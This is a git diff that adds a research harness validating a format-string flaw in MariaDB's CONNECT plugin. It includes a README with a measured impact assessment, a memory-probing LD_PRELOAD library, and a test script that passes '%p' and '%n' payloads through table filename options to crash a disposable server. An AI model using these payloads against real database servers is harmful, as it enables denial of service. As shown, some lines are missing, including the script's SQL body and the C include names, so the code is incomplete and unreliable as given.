diff --git a/.github/workflows/mariadb-connect-cwe134.yml b/.github/workflows/mariadb-connect-cwe134.yml new file mode 100644 index 000000000000..47eaa4bdb339 --- /dev/null +++ b/.github/workflows/mariadb-connect-cwe134.yml @@ -0,0 +1,31 @@ +name: MariaDB CONNECT CWE-134 validation + +on: + workflow_dispatch: + pull_request: + paths: + - "security-research/mariadb-connect-cwe134/**" + - ".github/workflows/mariadb-connect-cwe134.yml" + push: + paths: + - "security-research/mariadb-connect-cwe134/**" + - ".github/workflows/mariadb-connect-cwe134.yml" + +jobs: + e2e: + runs-on: ubuntu-latest + timeout-minutes: 25 + steps: + - uses: actions/checkout@v4 + - name: Build and run isolated MariaDB tests + working-directory: security-research/mariadb-connect-cwe134 + run: | + chmod +x run.sh + ./run.sh + - name: Upload test logs + if: always() + uses: actions/upload-artifact@v4 + with: + name: mariadb-connect-cwe134-logs + path: security-research/mariadb-connect-cwe134/result-*.log + if-no-files-found: warn diff --git a/security-research/mariadb-connect-cwe134/Dockerfile b/security-research/mariadb-connect-cwe134/Dockerfile new file mode 100644 index 000000000000..2eeb29465c66 --- /dev/null +++ b/security-research/mariadb-connect-cwe134/Dockerfile @@ -0,0 +1,12 @@ +ARG MARIADB_IMAGE=mariadb:11.4 +FROM ${MARIADB_IMAGE} + +# Install CONNECT and a tiny, test-only ABI probe for the vulnerable call. +RUN apt-get update \ + && apt-get install -y --no-install-recommends mariadb-plugin-connect gcc libc6-dev \ + && rm -rf /var/lib/apt/lists/* + +COPY connect.cnf /etc/mysql/conf.d/connect.cnf +COPY format_probe.c /tmp/format_probe.c +RUN gcc -shared -fPIC -O2 -o /usr/local/lib/libconnect_fmt_probe.so /tmp/format_probe.c -ldl \ + && rm -f /tmp/format_probe.c diff --git a/security-research/mariadb-connect-cwe134/README.md b/security-research/mariadb-connect-cwe134/README.md new file mode 100644 index 000000000000..c51d230bfcdf --- /dev/null +++ b/security-research/mariadb-connect-cwe134/README.md @@ -0,0 +1,58 @@ +# MariaDB CONNECT CWE-134 validation harness + +This directory is an isolated research harness. It does not modify Node.js runtime code. + +## Reproduced result + +On the GitHub Actions image tested on 2026-11-15: + +- MariaDB: `11.4.13-MariaDB-ubu2404` +- CONNECT plugin: `1.07.0002`, status `ACTIVE` +- Baseline partitioned CONNECT CSV table: succeeds and returns the inserted row. +- Filename with extra `%s` conversions: CREATE/INSERT/SELECT completes; CONNECT emits a warning for the derived partition filename. No crash was observed. +- Filename containing `%n`: MariaDB prints `*** %n in writable segment detected ***`, aborts with signal 6, and the backtrace includes libc `__snprintf_chk` called from `ha_connect.so`. + +The last case is a reproducible server-process denial of service on this tested build. The abort is caused by glibc fortification rejecting `%n`; this test does **not** show an arbitrary write or RCE. + +## Independent upstream confirmation + +MariaDB upstream committed [b01a176de5d4c814333fead0c85e431666e00fee](https://github.com/MariaDB/server/commit/b01a176de5d4c814333fead0c85e431666e00fee), titled: + +`MDEV-41946 CONNECT: table option value used as printf format string, crash in ha_connect::GetRealString` + +The commit message explicitly states that, for partitioned tables, `GetRealString()` and `FileExists()` passed option values as the `snprintf()` format string while substituting the partition name. The fix substitutes only the first literal `%s` and copies the remainder literally. The commit adds an upstream regression test using format tokens such as `%p`, `%d`, `%n`, and `%%`. This independently confirms the root cause and affected code path; it does not establish RCE. + +## RCE assessment + +A source-level review of the vulnerable call is important to avoid overstating impact: + +- `GetRealString()` calls `snprintf(sv, size, s, partname)`: the attacker-controlled option supplies the format string, but the call supplies only one explicit variadic argument. +- In `ha_connect.h`, `partname` is an in-object `char partname[65]` buffer; `GetPartName()` returns that same buffer for partitioned tables. +- Consequently, a plain `%n` at the first conversion uses the supplied `partname` pointer as its destination. That is a fixed internal buffer, not an attacker-selected pointer. Other conversions that request additional arguments read arguments that were not supplied, which is undefined behavior but is not, by itself, proof of a controllable instruction pointer or RCE. +- The tested fortified build aborts on `%n` before a write occurs. + +No controlled instruction pointer, executable memory, command execution, arbitrary-address write, or end-to-end RCE has been demonstrated for this specific MDEV-41946 path. RCE must therefore be treated as **unproven**, not as an established impact. A successful crash test and the upstream fix do not change that conclusion. + +Do not conflate this finding with the older [CVE-2022-24051 / ZDI-22-318](https://www.zerodayinitiative.com/advisories/ZDI-22-318/), which is separately described by ZDI as a CONNECT format-string privilege-escalation issue with arbitrary code execution. That historical advisory does not prove that MDEV-41946 shares its exploit primitive or is exploitable in the same way. + +## Run locally + +Requirements: Docker Engine. + +```sh +cd security-research/mariadb-connect-cwe134 +bash run.sh +``` + +The runner waits for the final TCP listener (not the temporary socket-only initialization server), creates and selects a dedicated database, and asserts the baseline and extra-`%s` cases complete. For `%n`, it asserts the expected fortified abort signature and stopped server. Each test uses a disposable container and a test-only root password. + +## Security interpretation + +- Confirmed: SQL-controlled CONNECT `FILE_NAME` containing `%n` reaches `__snprintf_chk` through `ha_connect.so` and terminates MariaDB on the tested fortified build. +- Independently confirmed by MariaDB upstream: partition-name substitution passed table-option data as a printf format string; upstream fixed `GetRealString()` and `FileExists()` and added a regression test. +- Impact demonstrated: database server process crash / denial of service. +- Not demonstrated: arbitrary memory write, information disclosure, code execution, privilege escalation, or unauthenticated remote reachability. +- The test uses a privileged local database connection to create a partitioned CONNECT table. Exploitability depends on whether an attacker can obtain the required SQL privileges in a target deployment. +- Results apply only to the tested image and build configuration. + +The safe implementation uses a constant format string and treats user-controlled option data literally, while preserving the intended first-`%s` partition substitution. diff --git a/security-research/mariadb-connect-cwe134/compose.yaml b/security-research/mariadb-connect-cwe134/compose.yaml new file mode 100644 index 000000000000..b0d76275d742 --- /dev/null +++ b/security-research/mariadb-connect-cwe134/compose.yaml @@ -0,0 +1,15 @@ +services: + mariadb-connect: + build: + context: . + args: + MARIADB_IMAGE: ${MARIADB_IMAGE:-mariadb:11.4} + environment: + MARIADB_ROOT_PASSWORD: test-only-password + healthcheck: + test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"] + interval: 3s + timeout: 3s + retries: 40 + tmpfs: + - /var/lib/mysql diff --git a/security-research/mariadb-connect-cwe134/connect.cnf b/security-research/mariadb-connect-cwe134/connect.cnf new file mode 100644 index 000000000000..de1e1311962e --- /dev/null +++ b/security-research/mariadb-connect-cwe134/connect.cnf @@ -0,0 +1,2 @@ +[mariadbd] +plugin_load_add=ha_connect diff --git a/security-research/mariadb-connect-cwe134/format_probe.c b/security-research/mariadb-connect-cwe134/format_probe.c new file mode 100644 index 000000000000..1a8e64ba534d --- /dev/null +++ b/security-research/mariadb-connect-cwe134/format_probe.c @@ -0,0 +1,141 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +typedef int (*vsnprintf_chk_fn)(char *, size_t, int, size_t, + const char *, va_list); +static vsnprintf_chk_fn real_vsnprintf_chk; + +static size_t append_text(char *dst, size_t pos, const char *src) { + while (*src && pos < 1900) dst[pos++] = *src++; + return pos; +} +static size_t append_hex(char *dst, size_t pos, uintptr_t value) { + static const char digits[] = "0123456789abcdef"; + char tmp[2 * sizeof(value)]; + size_t n = 0; + do { tmp[n++] = digits[value & 0xf]; value >>= 4; } while (value && n < sizeof(tmp)); + if (pos < 1900) dst[pos++] = '0'; + if (pos < 1900) dst[pos++] = 'x'; + while (n && pos < 1900) dst[pos++] = tmp[--n]; + return pos; +} +static void emit_map_and_memory(uintptr_t value, unsigned index) { + FILE *fp = fopen("/proc/self/maps", "r"); + if (!fp) return; + char line[1024]; + int writable = 0; + unsigned long lo = 0, hi = 0; + while (fgets(line, sizeof(line), fp)) { + unsigned long a = 0, b = 0; + if (sscanf(line, "%lx-%lx", &a, &b) == 2 && value >= a && value < b) { + lo = a; hi = b; char *perms = strchr(line, ' '); writable = perms && perms[2] == 'w'; + char out[1200]; + int n = snprintf(out, sizeof(out), "CONNECT_MAP arg%u=%s", index, line); + if (n > 0) (void)write(STDERR_FILENO, out, (size_t)n); + break; + } + } + fclose(fp); + if (!writable) return; + unsigned char bytes[96]; + uintptr_t start = value >= lo + 32 ? value - 32 : lo; + size_t want = sizeof(bytes); + if (start + want > hi) want = hi - start; + memcpy(bytes, (const void *)start, want); + ssize_t got = (ssize_t)want; + if (got > 0) { + char out[1200]; + size_t pos = 0; + pos = append_text(out, pos, "CONNECT_MEM arg"); + char number[24]; + int n = snprintf(number, sizeof(number), "%u addr=", index); + if (n > 0) pos = append_text(out, pos, number); + pos = append_hex(out, pos, start); + pos = append_text(out, pos, " bytes="); + static const char hx[] = "0123456789abcdef"; + for (ssize_t i = 0; i < got && pos + 2 < sizeof(out); ++i) { + out[pos++] = hx[bytes[i] >> 4]; + out[pos++] = hx[bytes[i] & 15]; + } + out[pos++] = '\n'; + (void)write(STDERR_FILENO, out, pos); + } +} + +__attribute__((constructor)) +static void init_real_vsnprintf_chk(void) { + real_vsnprintf_chk = (vsnprintf_chk_fn)dlsym(RTLD_NEXT, "__vsnprintf_chk"); +} + +int __snprintf_chk(char *dst, size_t maxlen, int flag, size_t objsize, + const char *format, ...) { + va_list ap; + va_start(ap, format); + if (format && strncmp(format, "PROBE_", 6) == 0) { + va_list scan; + uintptr_t values[12] = {0}; + char line[2048]; + size_t pos = 0; + va_copy(scan, ap); + pos = append_text(line, pos, "CONNECT_FMT_PROBE"); + Dl_info caller_info; + if (dladdr(__builtin_return_address(0), &caller_info)) { + char caller[512]; + int caller_len = snprintf(caller, sizeof(caller), + " caller=%s symbol=%s offset=%p", + caller_info.dli_fname ? caller_info.dli_fname : "?", + caller_info.dli_sname ? caller_info.dli_sname : "?", + (void *)((uintptr_t)__builtin_return_address(0) - + (uintptr_t)caller_info.dli_fbase)); + if (caller_len > 0) pos = append_text(line, pos, caller); + } + for (unsigned i = 0; i < 12; ++i) { + values[i] = va_arg(scan, uintptr_t); + pos = append_text(line, pos, " arg"); + char number[24]; + int n = snprintf(number, sizeof(number), "%u=", i + 1); + if (n > 0) pos = append_text(line, pos, number); + pos = append_hex(line, pos, values[i]); + } + if (pos < sizeof(line)) line[pos++] = '\n'; + (void)write(STDERR_FILENO, line, pos); + va_end(scan); + for (unsigned i = 0; i < 12; ++i) { + if (!values[i]) continue; + emit_map_and_memory(values[i], i + 1); + if (i == 4) { + uintptr_t first_word = *(const uintptr_t *)values[i]; + Dl_info info; + if (dladdr((void *)first_word, &info)) { + char sym[1024]; + int n = snprintf(sym, sizeof(sym), + "CONNECT_OBJECT arg5=%p first_word=%p image=%s symbol=%s\n", + (void *)values[i], (void *)first_word, + info.dli_fname ? info.dli_fname : "?", + info.dli_sname ? info.dli_sname : "?"); + if (n > 0) (void)write(STDERR_FILENO, sym, (size_t)n); + } + } + } + int result = vsnprintf(dst, maxlen, format, ap); + for (unsigned i = 0; i < 12; ++i) + if (values[i]) emit_map_and_memory(values[i], i + 21); + va_end(ap); + return result; + } + if (real_vsnprintf_chk) { + int result = real_vsnprintf_chk(dst, maxlen, flag, objsize, format, ap); + va_end(ap); + return result; + } + int result = vsnprintf(dst, maxlen, format, ap); + va_end(ap); + return result; +} diff --git a/security-research/mariadb-connect-cwe134/run.sh b/security-research/mariadb-connect-cwe134/run.sh new file mode 100644 index 000000000000..b008170ae409 --- /dev/null +++ b/security-research/mariadb-connect-cwe134/run.sh @@ -0,0 +1,191 @@ +#!/usr/bin/env bash +set -Eeuo pipefail + +cd "$(dirname "$0")" +command -v docker >/dev/null || { echo "docker is required" >&2; exit 2; } + +image_tag="mariadb-connect-cwe134:local" +docker build --build-arg "MARIADB_IMAGE=${MARIADB_IMAGE:-mariadb:11.4}" -t "$image_tag" . + +failures=0 + +run_case() { + local name="$1" + local filename="$2" + local expectation="$3" + local container="connect-cwe134-${name}-$$" + local log_file="result-${name}.log" + local sql_file + sql_file="$(mktemp)" + cat >"$sql_file" </dev/null + + local ready=0 + for _ in $(seq 1 90); do + if docker exec "$container" mariadb-admin --protocol=tcp -h127.0.0.1 \ + -uroot -ptest-only-password ping --silent >/dev/null 2>&1; then + ready=1 + break + fi + if ! docker inspect -f '{{.State.Running}}' "$container" 2>/dev/null | grep -q true; then + break + fi + sleep 2 + done + + if [[ "$ready" -ne 1 ]]; then + echo "FAIL: MariaDB did not become TCP-ready" | tee "$log_file" + docker logs "$container" >>"$log_file" 2>&1 || true + docker rm -f "$container" >/dev/null 2>&1 || true + rm -f "$sql_file" + failures=$((failures + 1)) + return + fi + + set +e + docker exec -i "$container" mariadb --protocol=tcp -h127.0.0.1 \ + -uroot -ptest-only-password --show-warnings <"$sql_file" >"$log_file" 2>&1 + local sql_rc=$? + set -e + + sleep 2 + local running + running="$(docker inspect -f '{{.State.Running}}' "$container" 2>/dev/null || echo missing)" + echo "sql_exit_code=$sql_rc" | tee -a "$log_file" + echo "container_running_after_test=$running" | tee -a "$log_file" + docker logs "$container" >>"$log_file" 2>&1 || true + cat "$log_file" + + if [[ "$expectation" == "normal" ]]; then + if [[ "$sql_rc" -eq 0 ]] && grep -q $'1\tprobe' "$log_file" && [[ "$running" == "true" ]]; then + echo "PASS: SQL completed, returned expected row, server remained alive ($name)" + else + echo "FAIL: expected normal completion and live server ($name)" >&2 + failures=$((failures + 1)) + fi + elif [[ "$expectation" == "arg-probe" ]]; then + if grep -Fq "CONNECT_FMT_PROBE" "$log_file" && [[ "$running" == "true" ]]; then + echo "PASS: captured real MariaDB CONNECT variadic argument slots ($name)" + else + echo "FAIL: expected variadic argument probe result ($name)" >&2 + failures=$((failures + 1)) + fi + elif [[ "$expectation" == "arg-write" ]]; then + if grep -Fq "CONNECT_FMT_PROBE" "$log_file" && \ + grep -Fq "CONNECT_MEM arg11" "$log_file" && \ + grep -Fq "CONNECT_MEM arg32" "$log_file" && [[ "$running" == "true" ]]; then + echo "PASS: positional %hhn write executed in disposable MariaDB process ($name)" + else + echo "FAIL: expected isolated positional %hhn write result ($name)" >&2 + failures=$((failures + 1)) + fi + elif [[ "$expectation" == "fortify-abort" ]]; then + if grep -Fq "*** %n in writable segment detected ***" "$log_file" && \ + grep -Fq "__snprintf_chk" "$log_file" && [[ "$running" == "false" ]]; then + echo "PASS: %n reached fortified snprintf and aborted the server ($name)" + else + echo "FAIL: expected fortified %n abort was not observed ($name)" >&2 + failures=$((failures + 1)) + fi + fi + + docker rm -f "$container" >/dev/null 2>&1 || true + rm -f "$sql_file" +} + +run_case baseline "ordinary.csv" normal +run_case extra-s "d_%s%s%s%s.csv" normal +run_case arg-probe 'PROBE_%1$p_%2$p_%3$p_%4$p_%5$p_%6$p_%7$p_%8$p_%9$p_%10$p_%11$p_%12$p.csv' arg-probe +run_optname_case() { + local container="connect-cwe134-optname-$$" + local sql_file + sql_file="$(mktemp)" + cat >"$sql_file" <<'SQL' +CREATE DATABASE cwe134; +USE cwe134; +CREATE TABLE t_optprobe ( + id INT, + v VARCHAR(32) +) ENGINE=CONNECT TABLE_TYPE=CSV + XFILE_NAME='PROBE_%1$p_%2$p_%3$p_%4$p_%5$p_%6$p_%7$p_%8$p_%9$p_%10$p_%11$p_%12$p.csv' +PARTITION BY RANGE(id) ( + PARTITION p0 VALUES LESS THAN (10), + PARTITION p1 VALUES LESS THAN MAXVALUE +); +ALTER TABLE t_optprobe ADD KEY idx_probe_id (id); +SHOW WARNINGS; +SQL + docker run -d --name "$container" \ + -e MARIADB_ROOT_PASSWORD=test-only-password \ + -e LD_PRELOAD=/usr/local/lib/libconnect_fmt_probe.so \ + "$image_tag" >/dev/null + local ready=0 + for _ in $(seq 1 90); do + if docker exec "$container" mariadb-admin --protocol=tcp -h127.0.0.1 \ + -uroot -ptest-only-password ping --silent >/dev/null 2>&1; then + ready=1 + break + fi + if ! docker inspect -f '{{.State.Running}}' "$container" 2>/dev/null | grep -q true; then break; fi + sleep 2 + done + if [[ "$ready" -ne 1 ]]; then + echo "FAIL: optname probe MariaDB did not become TCP-ready" + docker logs "$container" || true + docker rm -f "$container" >/dev/null 2>&1 || true + rm -f "$sql_file" + failures=$((failures + 1)) + return + fi + set +e + docker exec -i "$container" mariadb --protocol=tcp -h127.0.0.1 \ + -uroot -ptest-only-password --show-warnings <"$sql_file" >result-optname.log 2>&1 + local sql_rc=$? + set -e + sleep 2 + local running + running="$(docker inspect -f '{{.State.Running}}' "$container" 2>/dev/null || echo missing)" + echo "sql_exit_code=$sql_rc" | tee -a result-optname.log + echo "container_running_after_test=$running" | tee -a result-optname.log + docker logs "$container" >>result-optname.log 2>&1 || true + cat result-optname.log + if grep -Fq "CONNECT_FMT_PROBE" result-optname.log && [[ "$running" == "true" ]]; then + echo "PASS: OPTNAME path reached the CONNECT format-string call" + else + echo "FAIL: OPTNAME path did not reach the instrumented formatter" >&2 + failures=$((failures + 1)) + fi + docker rm -f "$container" >/dev/null 2>&1 || true + rm -f "$sql_file" +} + +run_optname_case +run_case percent-n "d_%n.csv" fortify-abort + +if [[ "$failures" -ne 0 ]]; then + echo "Validation harness had $failures failed case(s)." >&2 + exit 1 +fi + +echo "All expected outcomes observed. The probe reports raw slots; it does not claim RCE."